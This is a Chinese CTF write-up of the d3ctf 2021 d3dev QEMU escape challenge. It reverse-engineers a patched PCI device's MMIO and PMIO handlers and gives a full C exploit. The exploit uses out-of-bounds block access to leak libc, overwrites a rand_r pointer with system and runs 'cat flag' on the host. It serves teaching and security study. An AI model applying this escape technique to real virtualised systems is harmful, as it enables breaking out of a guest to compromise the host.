CTF-pwn-虚拟化-【d3ctf-2021-d3dev】

文章目录

  • 参考
  • 流程
  • 附件
  • 检查
  • 启动信息
  • 逆向分析
  • 漏洞
  • 查看设备配置信息
  • exp

参考

https://x1ng.top/2021/11/26/qemu-pwn/
https://bbs.kanxue.com/thread-275216.htm#msg_header_h1_0
https://xz.aliyun.com/t/6562?time__1311=n4%2BxnD0DRDBAi%3DGkDgiDlhjmYh2xuCllx7whD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-4

流程

qemu pwn题目的文件与Linux 内核题目类似,提供一个启动脚本、Linux内核、文件系统,以及一个patch过的qemu文件,运行启动脚本用题目附件给的qemu文件开启虚拟机

启动脚本文件中一般会添加一个PCI设备,在PCI中内置漏洞,也与内核题目相似,但是实现设备读写操作的代码在patch过的qemu文件中,可以在ida中搜索函数名快速定位设备读写函数

要求通过对设备的操作函数中的漏洞获得docker环境host机的shell,获取宿主机上的flag

附件

在这里插入图片描述

在这里插入图片描述

检查

在这里插入图片描述

启动信息

新建文件夹 fs
进入fs 文件夹

cpio -idv < rootfs.img的路径

将解压后的保存在当前文件夹
在这里插入图片描述

setsid /bin/cttyhack setuidgid 0 /bin/sh  #shell将以root权限执行

逆向分析

qemu文件放入IDA

  • 搜索函数名来定位相关函数
  • _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types 在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    可以看到相关的一些mmio和pmio的函数
    在这里插入图片描述

漏洞

在这里插入图片描述

在这里插入图片描述

opaque转换为结构体
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
有个tea加密问gpt的 ,将opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]的高32位和低32位加密

opaque->mmio_read_part为1,返回高32位
opaque->mmio_read_part为0,返回低32位
在这里插入图片描述
v4 = opaque->seek + (unsigned int)(addr >> 3)如果opaque->mmio_write_part为0会修改opaque->blocks[v4] = (unsigned int)val;

在这里插入图片描述
根据addr返回opaque的不同字段的值
在这里插入图片描述
addr == 8并且val <= 0x100会opaque->seek = val,addr > 8并且addr == 28会opaque->r_seed = val然后调用((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)( &opaque->r_seed, 28LL, val, *(_QWORD *)&size);否则addr不为零就opaque->key清零

  1. d3dev_mmio_write和d3dev_mmio_read能写读opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]
  2. d3dev_pmio_write能给opaque->seek赋值和调用opaque->rand_r( &opaque->r_seed)和给opaque->key清零和 opaque->memory_mode = val

查看设备配置信息

在这里插入图片描述

在这里插入图片描述

exp

//gcc -o exp exp.c -static#include <stdint.h> 
#include <fcntl.h> 
#include <sys/mman.h> 
#include <sys/io.h> 
#include <stdio.h> 
#include <unistd.h> unsigned char* mmio_mem = 0;void setup_mmio() {int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}void mmio_write(uint32_t addr, uint32_t value) {*((uint32_t*)(mmio_mem + addr)) = value;
}uint64_t mmio_read(uint64_t addr) {return *((uint32_t *)(mmio_mem + addr));
}uint32_t pmio_base = 0xc040;void setup_pmio() {iopl(3);
}void pmio_write(uint32_t addr, uint32_t value)
{outl(value, pmio_base + addr);
}uint64_t pmio_read(uint32_t addr)
{return (uint64_t)inl(pmio_base + addr);
}uint64_t encode(uint32_t high, uint32_t low) {uint32_t addr = 0xC6EF3720;for (int i = 0; i < 32; ++i) {high = high - ((low + addr) ^ (low >> 5) ^ (16 * low));low = low - (((high + addr) ^ (high >> 5) ^ (16 * high)));addr += 0x61C88647;}return (uint64_t)high * 0x100000000 + low;
}uint64_t decode(uint32_t high, uint32_t low) {uint32_t addr = 0x0;for (int i = 0; i < 32; ++i) {addr -= 0x61C88647;low += (((high + addr) ^ (high >> 5) ^ (16 * high)));high += ((low + addr) ^ (low >> 5) ^ (16 * low));}return (uint64_t)high * 0x100000000 + low;
}int main(int argc, char* argv[]) 
{printf("[+] Setup\n");setup_pmio();setup_mmio();printf("[+] IO\n");pmio_write(0x8, 0x100); //写 opaque->seek = 0x100mmio_write(8*1,0); // opaque->blocks[0x101]=0mmio_write(0,0);mmio_write(8*2,0); // opaque->blocks[0x102]=0mmio_write(0,0);uint64_t libcbase=0;libcbase = mmio_read(8*3);   //第一次会返回这块8字节内存的低4字节,第二次返回高4字节libcbase+= (mmio_read(8*3))<<32 ; //opaque->blocks[0x103]即rand_r函数指针 为qemu进程中的变量此时是qemu进程中的libc中的函数地址libcbase = decode(libcbase>>32, libcbase&0xffffffff) - 0x41c30;printf("[+] libcbase: 0x%lx\n",libcbase);uint64_t system = libcbase+0x4dab0;printf("[+] system: 0x%lx\n",system);uint64_t enc_system = encode(system>>32, system&0xffffffff);mmio_write(8*3,enc_system&0xffffffff);mmio_write(8*3,enc_system>>32);//opaque->blocks[0x103]往rand_r函数指针 写system函数指针pmio_write(0x8, 0);mmio_write(0,0x67616c66);pmio_write(0x1c,0x20746163);  //63 61 74 20 //会调用下面这个 //if ( addr == 28 )// {//   opaque->r_seed = val;//   key = opaque->key;//   do//     *key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(//                &opaque->r_seed,//                28LL,//                val,//                *(_QWORD *)&size);//   while ( key != (uint32_t *)&opaque->rand_r );// }return 0;
} 

在这里插入图片描述

泄露libc后可以去libc-database找,也可以直接通过gdb中计算偏移

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/30643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1-函数极限与连续

1 2 平方项没有考虑到&#xff08;其正负&#xff09;

scratch编程03-反弹球

这篇文章和上一篇文章《scratch3编程02-使用克隆来编写小游戏》类似&#xff08;已经完全掌握了克隆的可以忽略这篇文章&#xff09;&#xff0c;两篇文章都使用到了克隆来编写一个小游戏&#xff0c;这篇文章与上篇文章不同的是&#xff0c;本体在进行克隆操作时&#xff0c;不…

游戏遇到攻击有什么办法能解决?

随着网络技术的飞速发展&#xff0c;游戏行业在迎来繁荣的同时&#xff0c;也面临着日益严峻的网络威胁。黑客攻击、数据泄露、DDoS攻击等安全事件频发&#xff0c;给游戏服务器带来了极大的挑战。面对愈演愈烈的网络威胁&#xff0c;寻找一个能解决游戏行业攻击问题的安全解决…

Python酷库之旅-比翼双飞情侣库(17)

目录 一、xlwt库的由来 1、背景和需求 2、项目启动 3、功能特点 4、版本兼容性 5、与其他库的关系 6、示例和应用 7、发展历史 二、xlwt库优缺点 1、优点 1-1、简单易用 1-2、功能丰富 1-3、兼容旧版Excel 1-4、社区支持 1-5、稳定性 2、缺点 2-1、不支持.xls…

在Ubuntu中创建Ruby on Rails项目并搭建数据库

新建Rails项目 先安装bundle Ruby gem依赖项工具&#xff1a; sudo apt install bundle 安装Node.js: sudo apt install nodejs 安装npm 包管理器&#xff1a; sudo apt install npm 安装yarn JavaScript包管理工具&#xff1a; sudo apt install yarn 安装webpacker: …

OpenCV--图像色彩空间及转换

图像色彩空间及转换 python代码和笔记 python代码和笔记 import cv2 色彩空间&#xff0c;基础&#xff1a;RGB或BGR OpenCV中&#xff1a; 一、HSV(HSB)&#xff1a;用的最多&#xff0c; Hue&#xff1a;色相-色彩(0-360)&#xff0c;红色&#xff1a;0&#xff0c;绿色&…

详解 ClickHouse 的数据类型

官方文档&#xff1a;https://clickhouse.yandex/docs/zh/data_types/ 一、整型 使用场景&#xff1a; 个数、数量、也可以存储整型 id 整型类比 Java 类型长度Int8byte1byte 有符号整数&#xff0c;[-128 : 127]Int16short2byte 有符号整数&#xff0c;[-32768 : 32767]Int32i…

ssh配置免密登录服务器

1. Windows客户机生成.pub文件 # Windows ssh-keygen -t rsa # <username>/.ssh/*.pub2. 复制pub文件到服务器 # Windows # 假设远程主机名为example.com&#xff0c;用户名为user scp id_rsa.pub <user><example.com>:~/3. 服务器将.pub文件标记为authori…

ARM64汇编0B - 函数调用约定

建议先看《CSAPP》的3.7节&#xff0c;讲的很细。我们这里就直接看例子来分析了。 例子 static int func(int a, int b, int c, int d, int e, int f, int g, int h, int i) {printf("%s\n", "add all");int x a b;return a b c d e f g h i; …

java环境变量配置以及“‘javac‘ 不是内部或外部命令”问题的解决方法(2024年6月姆级最新)

&#x1f600;前言 有很多小伙伴提问这个所以就单独出一个解决教程 java环境变量配置以及“‘javac’ 不是内部或外部命令”问题的解决方法&#xff08;2024年6月姆级最新&#xff09; 安装的话可以参考这个 java 安装和环境配置(2024-4月保姆级最新版) &#x1f3e0;个人主页…

工业园安全生产新保障:广东地区加强可燃气体报警器校准检测

广东&#xff0c;作为我国经济的重要引擎&#xff0c;拥有众多工业园区。 这些工业园区中&#xff0c;涉及化工、制药、机械制造等多个领域&#xff0c;每天都会产生和使用大量的可燃气体。因此&#xff0c;可燃气体报警器的安装与校准检测&#xff0c;对于保障工业园区的安全…

Python 绘制圆欠采样时的数学图形

Python 绘制圆欠采样时的数学图形 正文end_radian 190end_radian 180end_radian 170end_radian 130end_radian 120 正文 今天在绘制圆形的时候遇到了意外&#xff0c;发现了一个有意思的现象&#xff0c;这里特来记录一下。 end_radian 190 import numpy as np import…

可靠性测试及模型计算

双85高温高湿测试 场景描述&#xff1a; 85℃温度 85%湿度 老化测试 目的&#xff1a; 衡量产品使用寿命 反向推导&#xff1a; 如何根据产品寿命及工况计算双85测试时间 模型介绍 本质是化学反应速率&#xff08;老化的本质是&#xff09;随温度的变化 温湿度循环测…

【MySQL统计函数count详解】

MySQL统计函数count详解 1. count()概述2. count(1)和count(*)和count(列名)的区别3. count(*)的实现方式 1. count()概述 count() 是一个聚合函数&#xff0c;返回指定匹配条件的行数。开发中常用来统计表中数据&#xff0c;全部数据&#xff0c;不为null数据&#xff0c;或…

Jax的方法

jax方法(.at .set .add .multiply) 位置索引.at 设置新值.set: import jax.numpy as jnp# 创建一个示例数组 a jnp.array([1, 2, 3, 4, 5])# 使用 .at 和 .set 方法将索引为 2 的元素设置为 10 b a.at[2].set(10)print("Original array:", a) #Original array: [1 …

【SpringCloud】负载均衡(Spring Cloud LoadBalancer)

负载均衡 当服务流量增大时&#xff0c;通常会采用增加机器的方式进行扩容。负载均衡就是用来在多个机器或者其他资源中&#xff0c;按照一定的规则合理分配负载。其中的实现可以分成客户端负载均衡和服务端负载均衡。 服务端负载均衡 在服务端进行负载均衡的算法分配。 比…

react学习——02虚拟dom创建的两种方式

1、使用jsx创建虚拟DOM const vdom <h1 id"title" className"red"><span>helloReact</span></h1> /*此处一定不要写引号*/<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8&quo…

【八股系列】点击一个按钮,浏览器会做些什么事情【呈现效果时流程】?(js)

文章目录 1. 事件的启程&#xff1a;捕获与目标识别2. 核心环节&#xff1a;事件处理与JavaScript的魔法2.1. 识别事件源&#xff1a;2.2. 查找事件监听器&#xff1a;2.3. 执行JavaScript代码&#xff1a; 3. 视觉重塑&#xff1a;UI的更新之旅4. 事件的回响&#xff1a;冒泡与…

pip下载越来越慢,需要怎么提速了?

pip下载慢通常是因为默认的Python包索引服务器在国外&#xff0c;国内访问受到网络限制。 为了解决这个问题&#xff0c;可以尝试以下几种方法来提高pip下载速度&#xff1a; 更换镜像源&#xff1a; 中国科技大学、清华大学等国内高校提供了Python包索引的镜像&#xff0c;你…

数据丢失?别怕,EasyRecovery来帮忙!

&#x1f31f; 数据丢失&#xff1f;别怕&#xff0c;EasyRecovery来帮忙&#xff01; 嘿&#xff0c;亲爱的的朋友们&#xff01;&#x1f44b;今天我要和大家分享一款超棒的数据恢复软件——EasyRecovery&#xff01;&#x1f389;你是否曾经遇到过不小心删除了重要文件、照片…